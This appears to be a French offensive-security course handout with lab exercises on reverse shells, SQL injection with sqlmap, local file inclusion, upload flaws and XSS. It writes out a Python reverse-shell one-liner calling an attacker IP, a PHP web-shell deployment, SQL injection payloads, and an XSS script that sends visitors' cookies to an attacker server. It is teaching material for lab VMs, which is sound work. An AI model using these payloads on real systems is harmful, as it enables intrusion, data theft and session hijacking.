Vous êtes sur la page 1sur 7

Shells

Pour ouvrir une session sur la ligne de commande d’un hôte distant, on utilise habituellement ssh
(« Secure Shell »). Cependant lors d’une attaque plusieurs facteurs peuvent nous empêcher d’utiliser ce
programme : par exemple, il existe un pare-feu entre l’hôte cible et notre propre hôte, ou encore on ne
connaît aucun des identifiants de connexion sur la cible.

Lorsqu’un hôte distant est compromis, les moyens habituels de communication entre deux hôtes sont
parfois très limités. Parfois la vulnérabilité nous permet uniquement d’exécuter un programme avec des
privilèges restreints sur l’hôte cible. Comment peut-on profiter d’une telle faille pour ouvrir une ligne de
commande sur l’hôte distant?

Accès ssh normal

Si on dispose des identifiants de connexion d’un utilisateur sur le système compromis, une connexion ssh
normale est possible.

Shell « lié » avec netcat

Si on a un accès au système compromis mais qu’on ne connaît pas les identifiants de connexion des
utilisateurs (ou si ssh n’est simplement pas installé), un shell lié avec netcat est possible.
Shell inversé avec netcat

S’il existe un pare-feu qui empêche les connexions entrantes sur l’hôte compromis, un shell inversé avec
netcat est possible.

Shell inversé avec d’autres programmes

???
Dès qu’on a la possibilité d’exécuter des programmes sur l’hôte compromis, il est en théorie possible de
lancer un shell inversé. Il suffit de prendre un script déjà disponible1 ou d’en coder un soi-même et de le
faire exécuter sur l’hôte.

Python

Sur la victime, lancez la commande suivante après avoir ouvert un port sur Kali avec la commande nc :
python3 -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("A
TTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Php

À partir de Kali, modifiez fichier /usr/share/webshells/php/php-reverse-shell.php afin qu’il contienne les


adresses et port de votre VM Kali, puis déposez-le sur la cible. Ensuite exécutez-le (toujours après avoir
ouvert le port d’écoute avec nc) avec la commande suivante :
php-cgi7 php-reverse-shell.php

1
Sur Kali dans /usr/share/webshells/ ou encore aux sites https://highon.coffee/blog/reverse-shell-cheat-sheet/ ou
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%
20Shell%20Cheatsheet.md
Exploitation de vulnérabilités web

Injections SQL

Lorsqu’une application utilise un formulaire de saisie de données (pour l’authentification ou autre


chose), ces données seront transmises au serveur (via une requête http POST ou GET) lorsque
l’utilisateur clique sur le bouton du formulaire. Le serveur transmet ces données à l’application lorsqu’il
les reçoit, et l’application les utilise généralement pour construire une requête SQL à la base de données
du site :

Dans un cas normal, cette requête SQL retournera une rangée de données s’il existe un utilisateur
nommée ‘admin’ avec ‘abc-123’ comme mot de passe, ou ne retournera rien dans le cas contraire.

Lorsque le programme chargé de construire la requête se contente de copier les valeurs entrées dans les
champs du formulaire sans les vérifier, il est possible de générer des requêtes qui retourneront des
résultats différents. Par exemple, si on entre ceci dans le champ username du formulaire :
' or 1=1; --

La requête SQL générée sera la suivante :


SELECT * FROM users WHERE username='' or 1=1; -- ' AND password='';

Or les caractères « -- » désignent des commentaires en SQL, et donc tout ce qui suit sera ignoré. La
requête qui sera interprétée par SQL sera donc
SELECT * FROM users WHERE username='' or 1=1;

ce qui équivaut à
SELECT * FROM users

car username='' or 1=1 est toujours vraie.


En utilisant cette technique, il devient possible d’injecter des commandes dans les requêtes et ainsi
d’obtenir de nombreuses informations sur la structure de la base de données ou une foule d’autres
informations qu’elle peut contenir. Par exemple, pour obtenir la version du service MySQL :
' or 1=1; select @@version; --

sqlmap

L’outil sqlmap permet d’automatiser de nombreux types d’attaques par injection SQL. Pour l’utiliser il
s’agit de fournir l’url du formulaire à tester et les paramètres qui serviront à faire l’injection, comme
suit :
└─$ sqlmap -u http://www.abc.com/login_app.php --method=POST --data="usr=aaaa&pass=bbbb"

Ensuite, on utilisera les options qui permettent d’obtenir des informations sur la base de données :

--current-db :
Affiche la base de données courante
-D entreprise --tables :
Affiche les tables de la BD ‘entreprise’
-D entreprise -T utilisateurs --dump :
Affiche le contenu de la table ‘utilisateurs de la BD ‘entreprise’

Essayer de révéler le contenu de la BD de la VM Metasploitable3 avec sqlmap.


LFI

L’inclusion de fichiers locaux ou LFI (« Local file inclusion ») découle d’une mauvaise configuration d’un
serveur http, ce qui permet l’affichage de fichiers qui ne devraient normalement pas être accessibles,
comme par exemple des fichiers de configuration, les répertoires personnels des utilisateurs, etc.

On détecte cette vulnérabilité lorsqu’on constate que des noms de fichiers sont utilisés dans les
paramètres de requêtes GET ou POST, comme par exemple dans l’URL suivant:
http://www.serveur.com/?page=accueil.php

Dans cet exemple, sachant que la plupart des sites web résident dans le répertoire /var/www/html/ du
serveur, on peut déduire que le chemin absolu de accueil.php est /var/www/html/accueil.php. À partir
de ce répertoire, il est possible d’en atteindre d’autres avec l’alias « .. »; donc il peut être possible par
exemple d’accéder à la liste des utilisateurs du système avec l’URL suivante:
http://www.serveur.com/?page=../../../etc/passwd

Exercice avec la VM « Lab2 »

1. Accédez au fichier de configuration du service ssh


2. Trouvez un moyen d’afficher la version de linux

Vulnérabilités de téléversement

Dans de nombreux sites il est possible de téléverser des fichiers: par exemple des images qui pourront
servir d’avatar pour un compte utilisateur, des photos, des annexes à des messages, etc.

Lorsque l’application qui permet cette fonctionnalité ne vérifie pas le type des fichiers téléversés, rien
n’empêche ceux-ci d’être des exécutables ou des programmes qu’on pourra utiliser pour obtenir des
informations ou même un accès sur la cible.

Exercice avec la VM « Lab2 »

1. Utilisez la vulnérabilité de téléversement pour déposer un shell inversé en PHP puis obtenir
l’accès à partir de Kali.
2. En tant que quel utilisateur êtes-vous connecté?
3. Pouvez-vous ouvrir une connexion en tant que root?
4. Créez un utilisateur légitime et connectez-vous par ssh avec ses identifiants
XSS

Le “Cross-Site Scripting” est une vulnérabilité basée sur l’exécution de code dans les navigateurs des
visiteurs d’un site.

La plupart des pages web aujourd’hui utilisent Javascript. Généralement on s’en sert pour contrôler
l’affichage du contenu des pages dans l’interface du navigateur: par exemple, une page ne s’affichera pas
de la même manière selon que vous la visualisez sur un téléphone, un écran de 4:3 ou un écran de 16:9.
Le code HTML des pages que vous téléchargez fait donc appel à des fonctions JS qui s’exécutent dans
Firefox, Chrome, etc., lui permettant ainsi de disposer dans la page les informations que vous consultez
dans le site.

Lorsqu’un site web est vulnérable au XSS, il est possible pour un attaquant d’injecter du code JS dans la
page d’un site, ce qui aura pour effet que ce code s’exécutera dans le navigateur de tous ceux qui
visitent le site. Cette vulnérabilité peut être exploitée de plusieurs manières mais la plus répandue
consiste à voler un cookie d’authentification.

Exercice avec la VM « Lab2 »

1. Écrivez un commentaire dans la page.


2. Écrivez un message qui aura pour effet d’afficher un « popup » dans le navigateur (Utilisez les
balises HTML <script> autour de votre code JS).
3. Comment faire pour afficher des informations sur le navigateur utilisé?
4. Comment faire pour rediriger le navigateur vers un autre site?

XSS et Cookies

Les cookies sont souvent utilisés pour l’authentification : en effet, dans un site qui nécessite une
authentification, l’accès à chaque page doit être contrôlé. Mais on ne demandera pas aux utilisateurs de
s’authentifier à chacune des pages du site; donc, au moment où l’utilisateur s’authentifie à la page
d’accueil, on lui remet un cookie (qui contient une valeur aléatoire et unique) qui sera validé par le site à
chacune des pages visitées.

Ainsi, si un attaquant trouve le moyen de « voler » le cookie à un utilisateur qui s’est authentifié, il
pourra visiter le site avec les mêmes permissions que cet utilisateur.

Dans le code de la page XSS de la VM Lab2, un cookie est défini (par la fonction setcookie() dans le fichier
logbook.php).
Pour afficher les cookies associés à un site, on doit passer par les outils de développement des
navigateurs :

 Chrome: inspect – application – storage – cookies


 Firefox : Inspect – Storage

Pour afficher le cookie d’un site dans la console:


document.cookie

Exercice avec la VM « Lab2 »

1. Affichez le cookie de la page XSS dans un « popup ».


2. Affichez le cookie de la page dans le document.

Comment exploiter XSS pour récupérer un cookie

Le principe est le suivant :

 L’attaquant met sur pied un site http malveillant


 L’attaquant ajoute du code JS sur le site vulnérable qui aura pour effet de lancer une requête sur
le site malveillant
 Ce code JS contiendra une commande pour ajouter la valeur du cookie dans la requête vers le
site malveillant.

Démonstration

À partir de kali, lancez la commande suivante pour démarrer un site http en python :
└─$ sudo python3 -m http.server 80

Dans le code injecté, nous créerons une fausse référence vers une image qui se trouverait sur notre site
malveillant, et nous ferons en sorte que le lien vers cette image contienne la valeur du cookie. Si par
exemple notre serveur est à l’adresse 192.168.229.129, on veut que le code HTML de la page vulnérable
contienne cette balise-ci :

<img src='http://192.168.229.129/NOM_COOKIE=VALEUR_COOKIE'>

Ce qui aura pour effet que le navigateur de chaque personne qui visite le site lancera une requête http
vers 192.168.229.129 en y ajoutant les informations contenues dans le cookie du site vulnérable.

Le code JS à injecter sera le suivant :


<script>document.write("<img src='http://192.168.229.129/" + document.cookie + "'>")</script>

Vous aimerez peut-être aussi